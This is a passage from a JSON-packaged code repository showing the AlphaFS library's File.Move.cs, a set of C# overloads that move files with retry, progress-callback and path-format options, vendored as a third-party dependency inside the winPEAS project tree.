pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.Move.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Moves a specified file to a new location, providing the option to specify a new file name.\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      [SecurityCritical]\n      public static void Move(string sourcePath, string destinationPath)\n      {\n         CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = MoveOptions.CopyAllowed\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = MoveOptions.CopyAllowed,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = MoveOptions.CopyAllowed\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = MoveOptions.CopyAllowed,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = moveOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = moveOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n   }\n}\n"
  },
  {
